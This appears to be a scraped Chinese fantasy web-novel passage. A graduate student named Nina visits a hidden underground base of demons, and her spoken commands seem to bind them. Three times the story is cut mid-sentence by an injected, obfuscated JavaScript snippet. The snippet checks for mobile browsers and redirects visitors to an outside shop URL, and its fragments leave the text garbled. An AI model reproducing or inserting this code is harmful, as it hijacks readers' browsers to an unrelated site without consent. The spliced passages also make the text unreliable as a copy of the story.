《美好的世界如魔王所愿》 1. 准毕业生 …… 魔族不是一个能够一概而论的物种，其下不同的种族及亚种数目多达上百个，这些种族大致可以被归为十个大类，每个大类中都有一名掌权的大贵族。而在这些权贵之上，还有一个至高无上的存在——魔王。 …… 学界一般认为，魔族不具备繁衍后代的能力，他们全部都是生命之树的子嗣。这种说法不算不全对，因为例外总是存在：比如极少数魅魔可以与人类生下混血后代。 还有一类特定的魔物可以与人类以非正常的方式——涉及到一些生物学和医学的实验——产生混血儿。是否觉得有些骇人听闻？其实这些混血儿离我们并不遥远，他们有一个更为人所知的称呼，无论性别，他们被叫做魔女。 ——《勇者笔记·第一卷》 * 上午八点，妮娜顶着两只黑眼圈及昏昏欲睡的眼睛打开邮箱的时候，发现辅导员在凌晨的时候给她发过一封邮件，时间刚好是她睡下后不久。 打开邮件，映入眼帘的是一幅配色俗不可耐的活动海报——《大学生创业创新大赛》，以及一句恳切的关照： “鉴于你在毕业前获得合法劳动合同的概率渺茫，为了避免你在日后误入歧途，我替你找了一条后路，希望你识趣一点，不要扯本校就业率的后腿。乌瑟” 与此同时，新的邮件也带着新的不幸及时抵达—— “系统判定你提交的论文选题不符合当下的时代发展潮流，请重新选题，并最晚于明天中午十二点提交。愿七位圣灵保佑你能顺利毕业。达尔·达曼” 这封邮件可比闹铃有用多了。妮娜瞬间清醒过来，从前额扯住两把头发，发出一声悲鸣：“我恨萨利！” 不知道各位能不能想象一个失败的准毕业生电子邮箱中的面貌。 从大四伊始，这就成了一个坏消息集散中心，每天都有卑微的、真诚的申请书从这里出发，每天都有或直白或委婉的拒绝来到这里。 妮娜认为自己身上固然存在着一些原因，但眼下的厄运显然与她在这四年里付出的努力并不对等，这一切的罪魁祸首正绝对是她的母亲萨利·斯特尔。 如果不是萨利偷偷修改了她的志愿，她现在应该是一名魔法学院的准毕业生——还没毕业就会被各种知名大企业预定的，当今就业市场的头号香饽饽。 四年前，谁会想到魔法应用能在短时间内取得天翻地覆的进步？谁又能想到，在四年后的今天，除了魔法领域，社会上会出现如此大量的过剩劳动力呢？ 一件高级魔法道具就顶得上成百上千的人力，而且快捷、精准，虽然不便宜，但只要会一点数学，就能算出它的价格比需要付给工人们的薪水划算多了。 社会现实如此，抱怨终究无济于事，况且前途未卜的毕业生一定多不胜数。妮娜努力打起精神，决定先解决一个危机。 在明天中午到来之前，她必须为她的毕业论文做些什么，因此她必须立刻和达尔·达曼教授当面聊聊。 当妮娜来到办公区的时候，她远远就看到一个漆黑的身影如觅食的乌鸦般徘徊在附近的空地上。 她认出那是经济学院臭名昭著的辅导员乌瑟先生，就是那个会在凌晨给学生发邮件的怪人。 她机敏地避开那只人形大鸟的视线，打算在被发现之前一口气溜进通往教授办公室的传送阵。 也许是连日堪忧的睡眠质量让她的身体机能出现了问题，她跨过圆阵外环的时候，脚踝扭了一下，整个人完全失去了平衡，摔倒在地面上。 “唔。”她发出一声闷哼。 明明还没有选择目的地，然而圆阵却在她周身放出光芒，启动了内置的传送魔法。 身体出现不同寻常的滞空感，紧接着重力开始生效。 妮娜从办公楼天台的外侧坠落。 ——传送阵把她送到了不可能的地方。 凄惨狼狈的尖叫声回荡在办公区的上空，被延展成几个模糊的长音节。 “救——命——” 从十二层楼高的天台摔下去，除非七位圣灵愿意展现神迹，否则受害者难逃一死。 呼救不过是一种本能。 噗。 神迹似乎真的出现了。有什么东西在半空接住了她。 “导、导员？”妮娜盯着头顶上那张像是在地窖里生活了十年并且从未睡过一个好觉的脸，迟疑地说道。 她没有因为过分惊惧而忘记自己身处何处。 同时她还有点担心刚才那一下巨大的冲击力有没有折断辅导员两条枯树般的手臂。 不过未等她开口问个明白，乌瑟脸上的表情就迅速由惊愕转变为厌恶。 紧接着她再次体会到自由落体的感觉。 黑色的人影越来越远，那副表情也越来越模糊不清。 她睁大了眼睛，难以置信地看着悬停在半空中的黑影。 那黑影唰地一下消失，只留下一道残像。 与此同时，她再次被接住了。 性格阴沉的辅导员这回似乎放弃了捉弄她的念头，老老实实将她放回到地面。 妮娜安抚了一下差点从喉咙里跳出来的心脏。 她的腿还是软的，不得不扶着乌瑟的肩膀才能勉强在地上站立。 一旦身体恢复了保持平衡的能力，她就立刻像被烫了一下似的将手缩了回来，讪讪地嘟囔道：“这传送阵到底是怎么回事……” 乌瑟走到发生故障的圆阵附近，仔细检查了一番：“魔法回路没有问题。” “不可能！”受害者对这个结论表示怀疑，“你也看见了，我差点就——”她的声音最终在辅导员凶狠的瞪视中越来越轻，直至消失。 既然魔法回路没有出错，传送阵为什么会发生故障？ 乌瑟是如何飞到半空中并接住她的？ 更重要的是——明明接住了她，为何要中途松手？一个辅导员居然会拿学生的性命来玩恶作剧？！！ 他是有多恨这些就业困难的准毕业生？！ 她努力克制不满，好声好气地说道：“我想，应该让校方暂时关闭这个传送阵。今天只是侥幸没出大事，但它显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924260|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然已经出现了一些问题。” “没必要。”乌瑟非常肯定。 “那刚才到底是怎么回事？难道你们要等到真的出了人命，才愿意引以为戒吗？！” “我不知道你为什么会被送到那种地方，但这里的回路绝对没有问题，绝对。不管让谁来调查都是这个结果，何必浪费力气？比起这些，你还是先管管自己吧。” 乌瑟将手伸向怀中，摸出一张叠了两叠的纸，强硬地塞到学生手里。 妮娜低下头，在纸上看到了“创业大赛”几个色彩斑斓的黑体印刷字，顿时大失所望。 “我连毕业论文的选题都还没有通过，参加这种比赛才是真的‘浪费力气’。”她阴阳怪气地说。 乌瑟没有多加理会，他最后看了一眼传送阵，然后站起身来准备离开。 “等等。”妮娜将他叫住，“我不是想顶撞你，但我真的没有余力参加这样的比赛。” 巨大乌鸦般的背影果然稍作停顿。 “经济学院允许学生用实践项目代替毕业设计。如果能在比赛中获得奖项，对你来说可是一举两得的好事。”干巴巴的声音从前面传了过来。 看来他非常执着于将就业困难的学生推进创业大赛的泥潭。 妮娜决定还是先去找教授谈谈。 向来对她十分嫌弃的达尔·达曼今天倒是态度不错。 “想必你已经知道为什么这次的选题也没法通过了吧？”他的表情略带遗憾，“说实话，这原本是最接近通过的一次。” 妮娜悻悻道：“谁知道贵族院竟会突然终止政策，我的前期准备全部打了水漂。” 达尔·达曼用手指掸掉了办公桌上的一粒灰：“也许你可以趁着这次春假去外边走走。过度紧绷的精神不利于学术研究。” “真的吗？”妮娜不相信教授会对她如此和善，“可您不是让我明天就要确认选题？否则就赶不上今年的毕业流程了。” “我的意思是，”达尔·达曼说，“你要不还是等明年的流程吧。” 妮娜打了个寒颤，她仍试图争取一点转圜的余地——延毕一年的成本太大，除了学费之外，一年后她能找到好工作的机会只会愈发渺茫。 就在这时，她藏在口袋里的左手碰到了一个尖角。是乌瑟给她的那份手册。 “对了，辅导员说过，可以用实践项目代替毕业论文，要不……” 冷静想想，这确实是条可行的路子。如果进展顺利，那么毕业和就业就都不成问题了，何况大赛的奖金也非常诱人。 然而在听到某个名词的时候，达尔·达曼的脸上浮现出鄙夷的神色。 “辅导员……你是说乌瑟·斯莱曼？”他嚷嚷起来，“那家伙净会出教坏学生的馊主意！真不知道学院为什么会让他当辅导员。” “从某种意义上说，他还是挺关心学生的。”妮娜破天荒地说了句好话。 “哼，”达尔·达曼冷笑了一声，“一个魔女，你说他关心学生！” “什、什么？！” 乌瑟是个魔女？！ 2. 地下基地 …… 魔族是一个绝对阶级社会。贵族阶级对其下辖的非人族群具有绝对的掌控权，而魔王更是绝对之上的绝对存在。人类恐怕难以想象这种“绝对性”究竟到达了什么程度。 没有一个魔界成员能够抵抗魔王的命令。 那是一种超越物质界限的语言，光凭科学无法阐明的原理，一种接近“命运”和“奇迹”的强大意志。 只要魔王一声令下，听到他话语的仆人就能瞬间抵达他的身边，他已经失去生命的战士也能化为死灵重新战斗，他要夺去生命，生命便要消散； 只要他一声令下，双腿残疾的能站立行走，没有声带的能开口说话，瞎了眼睛的能重见光明…… 他的权柄，能使不可能成为可能。 如果你懂我的意思，就能想象七贵族该有多畏惧魔王。 ——《勇者笔记·第一卷》 * 尽管妮娜本人对魔女没有严重的偏见，但她明确了解社会对这一物种的歧视，有些人讨厌他们更甚于讨厌魔族。就比如说眼前的这位教授。 “让魔女堂而皇之地出现在大学校园，简直是一所名流院校的耻辱。” 民间对魔女没有确凿的认知，但普遍相信这是邪神与人类之中堕落者的后代。 他们只继承了人类的外形，在魔法天赋和情感本性上则偏向邪恶的族类：他们缺乏正常的社会情感，使用攻击性魔法，杀人的时候可以做到面不改色。 所有的魔女都受到贵族院的直接管制，他们经常以贵族特务的身份出现，执行那些不可告人的密令。 “……原来那是魔法。”妮娜定了定神，想起刚才的空中救援，忍不住嘀咕了一句。 她在前往办公室的路上还猜测乌瑟或许佩戴着某种魔法媒介。 近几十年来，人类逐步掌握了一些魔法原理。但由于人类本身不具备魔力，因此施放魔法必须借助媒介。生效越快的媒介品质越高。瞬发的媒介更是有市无价的珍品——至少不是一个大学辅导员的薪水能供得起的东西。 可如果那位辅导员本人具有魔法天赋，则就是另一回事了。 达尔·达曼没有错过她的喃喃自语，猛地扬起脑袋：“你看见他在学校里使用魔法了？！” 妮娜不明所以，但直觉事情有些不妙，立刻搪塞道：“不，不，没有，那是在校外……” “即使在校外也不可以！”达尔·达曼用严厉的语气说道，“他的力量被七贵族封印着——这是校方容许他在这儿工作的首要条件，未经许可，他根本就不可能随意施展魔法！” “你真的看到乌瑟使用魔法了？”他的神情比以往任何时刻都要严肃。 “我……我不知道，也许是我看错了，那应该是正在执行任务的其他魔女……”妮娜心虚地说道，“您知道的，他们都穿得一团黑，远看的时候很难分辨清楚。” 这个说法终于得到了达尔·达曼的认可，他舒展开眉头，眼睛往办公桌上一瞥，沉吟片刻，从眼前的纸堆里找出一份薄薄的文件，丢到妮娜面前：“如果你真的想尽快毕业，就用它先应付一下教务系统。” 妮娜看了一眼，然后皱了皱眉。 《论保持人类绝对优位与人类-魔族关系的改善》 达尔·达曼严正声明：“固执己见和顺利毕业，你只能选一个。” 妮娜揣着创业大赛的手册和那份令人如鲠在喉的议题文件回到宿舍，在电脑桌前坐了下来，准备重新拟定毕业论文的题目，然而窗前掠过的一只巨大乌鸦把她的思绪引到了乌瑟身上。 从长相到性格，乃至衣着品味，这位学院辅导员确实符合魔女这一生物给人的刻板印象。 但直到刚才，她从来没有怀疑过他不是一个人类。 原因正如达尔·达曼所说：魔女不应该出现在大学校园，他们通常不被允许在人群中工作和生活。 况且乌瑟身上被施加了封印，即魔女这个身份依旧不能说明他使用瞬间移动的原理。 妮娜无意识地在笔记本上涂了一只乌鸦，邮箱不合时宜地发出提示音。她唤醒屏幕看了一眼。 新邮件的标题充斥着广告风格，但来源却和她一直订阅的独立杂志《勇者笔记》相同。似乎是阅读网站为了回馈顾客而举办的线下活动。 《如果您正在考虑度过一个别开生面的春季假期——一封来自罗德里斯基地的请帖》 想到教授的话以及未作安排的春假，妮娜暂时将乌瑟身上的疑点抛到脑后，爽快地点开了链接。 “尊敬的妮娜·斯特尔女士： 我猜您一定不知道在神圣峡谷的郊外有一座巨大而历史悠久的地底迷宫，它从三百年前的大战争中保留下大量的魔族遗物，还收留了因为战火而无家可归的原始魔族。 它就是罗德里斯基地，收容着纯正魔族文明的古老宝库。 即将到来的春假将会是一个完美的造访时机。我们将会为您提供免费的住宿和餐饮，并带您体验在人类社会中已经无迹可寻的魔族生活场景。 而您所需要支付的，仅是在他人面前对此绝口不提的一个承诺。 恭敬地期盼着您的到来。 附件：地图及导航方法.loj” 像妮娜·斯特尔这样尚未解决任何一件终身大事的人，是很难在预备毕业的这一年里抽出空来旅游的。 但换一个角度来说，这没准是她人生最后一个春季假期，如果将它用于为毕业论文苦恼，未免有些浪费。 尤其是她现在获得了一个免费的旅行机会，一个新奇的、神秘的、千载难逢的旅行机会。 她最终决定在教务系统中录入教授给她的选题以试图蒙混过关，然后就开始做起了外出的准备。 …… 这个古老的地下基地里还遗留着巨龙罗德里斯在陷入沉睡前所收藏的众多书籍，除了用远古时代的语言编撰成的无法阅读的古籍之外，也有很多曾经流行过的通俗小说。 藏身地下的近三百年里，我总是通过阅读来打发这漫长又无趣的时间。然后我发现，不少故事都喜欢以迷路作为开头，这或许是那个时代所盛行的一种写法，又或者说是一种套路吧。 ——《一位老吸血鬼的日记》 * 妮娜在寻找罗德里斯基地的途中迷路了。 她原本正对照着活动主办方寄来的地图寻找目的地，一抬头，忽然被夹在远处一片崖壁缝隙间结实的紫色臀部吸引了注意力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924261|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道地图上所记载的“紫色标识”和这个紫色臀部是否存在关联。 “喂，需要帮助吗？”妮娜出于好心地询问被困在崖壁之间的紫色生物——这想必是一位魔族成员——然而下一秒，她就在后颈所遭受的强烈冲击下失去了意识。 昏迷的瞬间，妮娜回想起萨利不止一次地提醒过她：珍惜生命，远离魔族。 或许是那个紫色的臀部过于滑稽，让妮娜一时忘记了要对这一非人物种保持距离和警惕，然而就像魔法一样，只要是与魔族有关的事，她总是会不由自主地对其产生兴趣，并且忘乎所以。 醒来的时候，妮娜一眼便看到坐在床沿上的面色惨白的吸血鬼。 她的手正抓着什么冰凉的东西，直到吸血鬼动了一下，她才意识到自己手中毫无生气的物体正是面前这只魔物的爪子。 她条件反射地抽回了自己的手。她对魔族充满好奇，不代表她不会对未知产生畏惧。 “明明是你自己一直抓着不放，怎么又突然避之不及了？”吸血鬼笑了起来。他的面容看上去足够年轻，但那种老派的说话方式多少暴露了他的真实年龄。 这时，有人走进了房间，妮娜转动了一下脑袋，便看到了造成如今这一莫名其妙局面的罪魁祸首。 笨拙的紫色魔物两手捧着托盘，于是只好用臀部顶开门。 “大哥，我把水端来了。”他口中发出与其外形相符的粗犷声音。 “哦，普特，来的正好。”被称作大哥的吸血鬼一手把妮娜的上半身连着枕头一起扶了起来，另一只手接过魔物递过来的水杯，“先喝口水。” 润过喉，妮娜立即问道：“这是哪儿？” 吸血鬼微笑着看着她：“欢迎来到原始魔族最后的聚落，罗德利斯基地。” 看来这里就是她要找的地方了。真搞不懂那些主办方，明明可以采取更加安全可靠的接引方式。 三秒之后，她猛地睁大了眼睛：“他们居然请了真正的巨魔和吸血鬼？！” 她还以为所谓的魔族基地会是一座单纯的布景式地下博物馆，真没想到里面还安排了正儿八经的魔族群演，其中一位还是少见的血族成员。 但是考虑到聘请魔族的成本比聘请人类演员低很多，这件事又变得合理起来。既然活动举办方能够从贵族院通过如此离经叛道的活动方案，聘请几个魔族想必也不是什么难事。 “你昏睡了很久，已经快到晚饭时间了，先填一下肚子，然后我会让普特带你熟悉一下这里的环境。”吸血鬼从妮娜手里收回了杯子，并保持着坐姿从床边远离。 妮娜这才注意到他是一位坐在轮椅上的残障人士。 据说吸血鬼具备强大的肉身修复能力，但在步入老年期后，往往会因为钙质流失而患上不利于行动的疾病。由此可以判断，眼前这位吸血鬼恐怕已经处于生命的末期。 顺带一提，他的轮椅由两具活的骷髅怪构成。 “在地底，如果没有一份规律的工作，成员们很容易陷入对过长生命的厌恶以及对自我价值的否定。”吸血鬼这样解释这一在妮娜看来近似强制劳动的现象。 骷髅怪们发出咯咯的声音。这是他们表达愉快情绪的方式。 3. 用餐愉快 地下基地的食堂比想象中宽敞不少。 大厅顶部悬挂着富丽堂皇的水晶吊灯，正中摆着两张妮娜只在教会见过的长餐桌，被活动方雇来的演员们基本上已经到齐，其中不乏妮娜只知其名的一些种族，他们各自闲聊，使食堂看起来十分热闹。 吸血鬼刚一出现在食堂门口，吵闹的声音消失了片刻，但很快就卷土重来。有人注意到跟在吸血鬼身后的生人，现场的氛围一下子变得更加热烈。 “你就是大哥请来的那个人类？” “你身上有种好闻的味道，你在洗澡的时候用了什么沐浴露？” “最近外面都发生了些什么，《勇者斗魔王》应该已经完结了吧？你看过吗？” “我猜巴甘最后和伊琳娜在一起了！” “不对，他应该和狄丽特尔结婚！” 一群高大魁梧的魔族凑了过来，而吸血鬼对此早有预见，在包围圈形成之前就机敏地指挥轮椅抢到了前面的道路。 正当妮娜感到不知所措的时候，突然被人从腰部举了起来。她被普特扛到了肩上。 紫色矮巨魔穿过魔群，把她放在吸血鬼边上的那个座位。 “太久没有见到新面孔，大家都高兴坏了。”吸血鬼老大虽然脸色惨白，却是心情很好的样子。 “没想到你们也会对人类的书籍感兴趣。”妮娜说。 “毕竟地下的生活很无聊。”吸血鬼用手撑着下巴，说话的时候脑袋一跳一跳的，“这里没有能够联通外界的网络，除了偶尔一次的外出采购，成员们很难接触到新鲜事物。” 妮娜想了想：“距离《勇者斗魔王》最终卷的发行已经过去十多年了。现在很少看到和它有关的话题，不过在当时确实是一件大新闻。” “十四年。”吸血鬼用惨白修长的手指敲了敲桌面。 “对，十四年。是在我八岁那年完结的。”妮娜意识到什么，“不会吧，难道这十四年间你们一直没有接触过外面的世界？” 她压低了声音：“你们遭到了雇主的囚禁和虐待？需要我帮你们走法律程序吗？” 吸血鬼笑了起来：“没必要。呆在地底对我们来说是一种保护。” “是吗？” 妮娜对吸血鬼的回答存有疑惑，但她的肚子抢先表达了不满。 吸血鬼笑了一下，应该是注意到了。“请大家安静一下。” 于是在场的所有人都安静了下来。 “罗德里斯基地成立至今已有二百八十七年，但我们很少有这样的机会，不是吗？”吸血鬼捉住妮娜的左腕举了起来，“这是我们基地的第二位新成员，妮娜·斯特尔。请大家用掌声表示欢迎！” 食堂内顿时掌声如雷。不是啪啪啪，而是喀喀喀、噗噗噗的掌声。 吸血鬼大哥那只冰凉的手放到了妮娜的肩上，将她冻得一个激灵。 “不要有芥蒂，和大家好好相处吧。” 他又对成员们说道：“开饭。” 没有餐前的祈祷，所有人各自拿起不同的餐具开始用餐。餐点是蘑菇汤和烤蘑菇片，主菜是炖石龙子。总之……充满地底风情。 不出三分钟，食堂又恢复了刚才那种喧闹嘈杂的状态。 此时讲话最起劲的一般都是死灵。他们通常无需进食，在用餐时出席是为了和其他成员增进感情。 “所以巴甘最后究竟和谁在一起了？” 一个骷髅突然从妮娜身后蹿了出来，害得她把叉子掉进了汤里。骷髅怪就是死灵的一种。 “抱歉，已经过去太久了，我都忘得差不多了。” 骷髅没有肌肉和皮肤的脸上不可思议地流露出失望的表情。 他们关于结局的好奇在于勇者究竟和谁成为了眷属。 毕竟人人都知道，勇者一定打败了魔王。 “我和这家伙打了赌，我押巴甘和芙罗拉。”另一个骷髅冒了出来，搂住了刚才那个骷髅的肩胛骨。这个场景让妮娜有些头昏脑涨。 “斯考特，斯考罗，不要打扰别人吃饭，你们这些不需要进食的家伙到一边自己聊天去。”吸血鬼说。这两只骷髅怪正是他的“轮椅”。 斯考特和斯考罗用他们面部一无所有的骨头朝吸血鬼做了一个鬼脸，怏怏离去。 这时候，有人用碗底狠狠敲了一下桌子，那个巨大的动静让所有人都受到了惊吓。 妮娜放下餐具，向声音传来的方向看去。 “为什么会有人类出现在这里？你们为什么能够毫不在意地和她在一起用餐？你们就不怕她可能会毁了这里的一切？” 说话的是一个暗红色头发的魔族少年。除了耳廓稍尖一点，他看起来几乎和人类没什么两样。他正用自己那双乌黑的眼睛狠狠瞪着新来的成员。 坐在他边上的巨魔揪着他的头发将他按回座位。 妮娜猜想自己招致了他的反感，神情有些尴尬，但还是尽力摆出友好的姿态。 这也许是活动的一个环节，用于……丰富参与者的体验？ 吸血鬼静静地看了那个惹事的家伙一眼，心平气和地说道：“蒙多，现在是用餐时间，吵架不该在这种时候进行。” 红头发的家伙从巨魔的手掌下挣脱出来，将餐具往桌上一甩，气愤地离开了食堂。 “继续用餐吧，我待会儿去说说他。”吸血鬼对大家说。 又对妮娜说：“希望没有坏了您的心情。” 妮娜有些局促的舀了一勺汤：“刚刚那是一头，我是说一位——炼狱兽？” 吸血鬼露出一个慈祥的笑容：“他是这儿唯一的炼狱兽。小心他的火焰，也小心他的脾气。” 虽然炼狱兽的名称中带着一个兽字，不过他们在外形上与人类高度相似。他们能够自由操控火焰，因此被视为一种危险的存在，现存数量极其稀少。 实际上，官方给出的数据是零。 没想到主办方居然能请到这么罕见的族类，这绝对下了血本。而且还不仅仅是金钱方面的成本。 用过晚餐，妮娜被吸血鬼带领着前往自己的房间。 “先生，我想我只是应邀来参加活动的，至于什么新成员……” “就是这么回事，从今天开始，您就是我们的一员了。”吸血鬼的语气透露着一种理所当然。 “我知道了，这也是增加代入感的一环。” 吸血鬼不置可否。 “你说这地方有将近三百年的历史。” “二百七十八年。” “地产商究竟是怎么找到这么古老的魔族遗迹的……” 吸血鬼突然连带着轮椅一起转过身来，将他身后的客人吓了一跳。这个活了几百年的衰老血族，眼中正闪烁着率直而热烈的光芒。 “二百七十八年，就算是对长寿种来说也是一段不短的光阴。”他将妮娜搂进他那冰窟一样的怀里，“您知道吗？我已经等了您二百七十八年……” 吸血鬼很快就结束了这个失礼的拥抱。 妮娜安抚着身上的鸡皮疙瘩，困惑地看着她的向导，想要从他嘴里听到关于此事的说明。 “不介意的话，可以陪我去见见蒙多吗？”吸血鬼却选择岔开话题。 “刚才的那位炼狱兽先生？”妮娜说，“当然可以，我也不想莫名其妙地被人讨厌。” 她羞于提问，只能任由事情顺着吸血鬼的提议发展。 两人在繁杂的地下通路间穿行起来。 虽然地下洞穴的墙壁都保持着被挖掘时的淳朴样貌，但上面却挂着数量惊人的星灯以代替日光。这是一种利用星屑的魔力点亮的照明器具。 星屑是人类能够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924262|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使用魔法的最关键媒介，通常价格不菲。 其余的家具，似乎是生活在这里的魔族各自发挥特长制作而成的，既有陶土制品，也有大件的木质家具，令人意外的是，虽然家具的外观风格多样，但做工都非常精致。 不知走了多久，妮娜被带到一个巨大的穹顶洞窟中。 她知道这座地下迷城的占地面积非常宽广，不过其实际的大小还是让人超乎想象，仅仅这处穹顶洞窟看起来就比王都中最大的教堂还要宏伟。 而当适应了洞窟的黑暗环境之后，她更是被眼前的景象彻底惊呆了。 反射出奇异光泽的黑色砖片堆砌成一座高达数十米的地下建筑，并在顶部呈现出要将那泥制的穹顶拱破的架势。站在它的下方，便会有一种要被那一片巨大的黑色吸入另一个世界的幻觉。 “蒙多，你又来打扰罗德里斯大人的休眠了。”吸血鬼冲着那片看不到底的黑暗说道。 黑暗中火光一闪，红发的少年踏着某种坚硬却零碎的物体从漆黑建筑的一角现身。 “你想来解释什么？反正快要死了，所以就开始为所欲为，就打算弃这里的一切不顾了？”炼狱兽的黑色瞳孔突然泛出红光，巨大的洞窟瞬间被他唤起的火焰点亮，“你还记得为什么要给这个基地起名为罗德里斯吗？！” 那座庞大的漆黑建筑反射出跃动的粼光，它的轮廓也被橙红的火焰勾勒出来。 妮娜看清了“建筑”的真面目，不禁倒吸一口凉气。 魔龙罗德里斯——她终于想起这个曾在《勇者笔记》中看到过的名字——魔界的十大贵族之一，随着魔族在人魔大战中的落败而销声匿迹。传说它已经随着生命之树的衰竭而陨落。 “这是一座巨龙雕像？实在是太惊人了！” 让人心生畏惧的庞大外形，以及精致到无以复加的细节刻画——每一片龙鳞都被仔细地表现了出来。 她上前几步，想要亲手确认雕塑的质感。 哗！ 一条凶恶的火蛇从黑暗中蹿了出来。 “不准对罗德里斯大人无礼！”蒙多冲她吼道。 妮娜像是触电似的将手缩回身旁。 “蒙多，”吸血鬼控制着轮椅，插入到两人中间，“我确实可以给你一个解释，但你得注意一下自己的态度。” 蒙多回他以一个叛逆期少年特有的眼神，但还是给了这位领袖应有的尊敬。 吸血鬼缓缓转过头，用那双深邃的紫色眼睛看向他的贵客，浅浅地吸了一口气：“这或许有些失礼。” 妮娜还不知道他的意图，姑且先表现出宽容：“没关系的。” “请对我说——站立。”吸血鬼说。 她轻轻动了动舌头，发现和平时说话的感觉有所不同：“站立。” 年迈的吸血鬼一下子从他的轮椅上站了起来，就像一个健全的年轻人从他的办公椅上站起来一样轻松。 那些被炼狱兽召唤出来的火焰熄灭了。洞穴瞬间暗了下来。 轮椅椅背上的两个骷髅头里亮起了两点幽幽的绿光。 “我还以为你的双腿已经……”妮娜愣怔地喃喃道。 她心里产生了一种奇怪的感觉，而这种感觉她不久前刚刚体会过一次。就在她从高空坠落，并大声呼喊救命的时候。 吱呀一声，吸血鬼坐了下去，望向蒙多：“想必你知道这意味着什么。总之……就是这么回事。” 炼狱兽的瞳孔已经恢复为黑色，那两个细小的圆形在他的眼眶中颤抖着。 接着，他的表情由愤怒转化为失望，仿佛受到了极大的委屈，下一秒眼泪就会涌出眼眶。 在那些液体正式登场之前，他快步离开了这个黑色的洞窟。 “他怎么了？”妮娜望着他远去的背影，“这是怎么回事？” 4. 位置泄露 吸血鬼没有回答，而是倚在轮椅的靠背上修正了一下姿态，问道：“您对魔族是怎么看的？” “一个神秘的种族，有着和人类完全不同的生命构成、和人类文明完全不同的文化习俗。据说魔法最初就起源于魔族。” “所以魔法才被称为魔法。”吸血鬼笑了一下，“您了解这个种族吗？” “我尝试过，但能够获取的资料很少。” “王都应该生活着不少魔族，您没有试着从他们身上收集情报？” “我的母亲，还有我们的法律，都提醒我们要警惕魔族，我只敢远远地看着他们。” 妮娜想起她十多岁时因为帮助了一个暗夜精灵而被萨利一通打骂并遭到学校处分的事，她没有直言，只是委婉地表明了这一情况。 “人类将我们视为狡猾和阴险的族类。” “就我所看到的，魔族成员大多勤劳刻苦，却总是遭到苛刻的对待。” “您同情魔族吗？” “先生，你不要笑我，我曾经强烈地盼望过有朝一日魔族可以和人类和平共处。” “您在大学学的是经济。为什么不选和魔族有关的专业，或者——魔法？” “说来话长……冥冥中似乎有什么东西总在阻挠我接触这一切。”妮娜有些意外他知道自己的专业。大概是阅读网站出卖了她的情报。 “我听您刚才说到‘曾经’，这是否意味着您已经放弃了那个崇高的理想？”吸血鬼认真地注视着她。 “我不知道……现在光是解决现实困境就让我手忙脚乱，”妮娜避开了他的目光，“也就没法顾及什么崇高的理想了。” 吸血鬼沉默片刻，说道：“我无法为您排忧解难，不过还是希望您能在罗德里斯基地尽情享受这个假期。事情会慢慢变好的。” “魔法的能量太大了，很多人都因此陷入困境，社会变得越来越糟。我偶尔会觉得，这是否是魔族对人类的报复……”妮娜小声说道。她意识到这话不妙，于是赶忙改口：“我不该这么说。” “希望有一天，魔族与人类能在那片土地上和谐共处。”吸血鬼似乎没太介意，温和地笑了起来。 “你不恨人类吗？” “仇恨不能解决问题。” 洞窟外面隐约传来一阵窸窸窣窣的声音。 吸血鬼竖着耳朵听了一会儿：“蒙多不是一个坏孩子，他只是从人类那儿吃多了苦头。” 妮娜想到了什么：“他就是基地的第一个新成员？他以前在人类社会生活过？” “他刚来这里没几年，”吸血鬼说，“毕竟他这么年轻。” 除了那些难以分辨年龄的骷髅，这个基地的成员大多呈现出一种老态，蒙多的确是一个例外。 * 蘑菇是罗德里斯基地的食材主力军，因为在地下也能大量栽培，肉类主力军的石龙子也是同理。 基地之旅的第二天，在厨房工作的狼人克里斯带着妮娜参观了蘑菇的培养仓，整整一面洞穴的壁面密密麻麻地挤满了生机勃勃的各式食用菌，那个画面给人留下了深刻的印象。 “那是什么？”妮娜指着远处一片田地里栽种的植物问道。她现在精神不错，地下的睡眠环境好得出人意料。 “那是龙舌兰，我们主要用它酿酒。”狼人说。 两人向着那片田地走近了一些。 这种名为龙舌兰的植物花如其名，只长着一片肥厚得像魔物舌头一般的蓝色花瓣，靠近花萼的地方还长着如同味蕾一样的白色尖刺。 和蘑菇培养仓一样，魔物们没有浪费这片花佃的任何一小片空间，不计其数的蓝色舌头熙熙攘攘地挤在一起，直叫人头皮发麻。 “在人类的餐桌上，它们被用来调味。”妮娜说，“把花萼上的尖刺刮下来，再用花瓣挤出的汁水搅拌，可以去除腥膻。我想你们一定没有试过。” 判断依据：昨日晚餐的荤菜味道不佳。 “你是说‘腥味’？蒙多提到过这个词——他不喜欢这里的伙食，因为总是有股‘腥味’。”狼人厨子想到了什么，抖了抖那对毛茸茸的耳朵，“可我连那味道是什么都还没弄清楚，更不用说去除的方法了。” 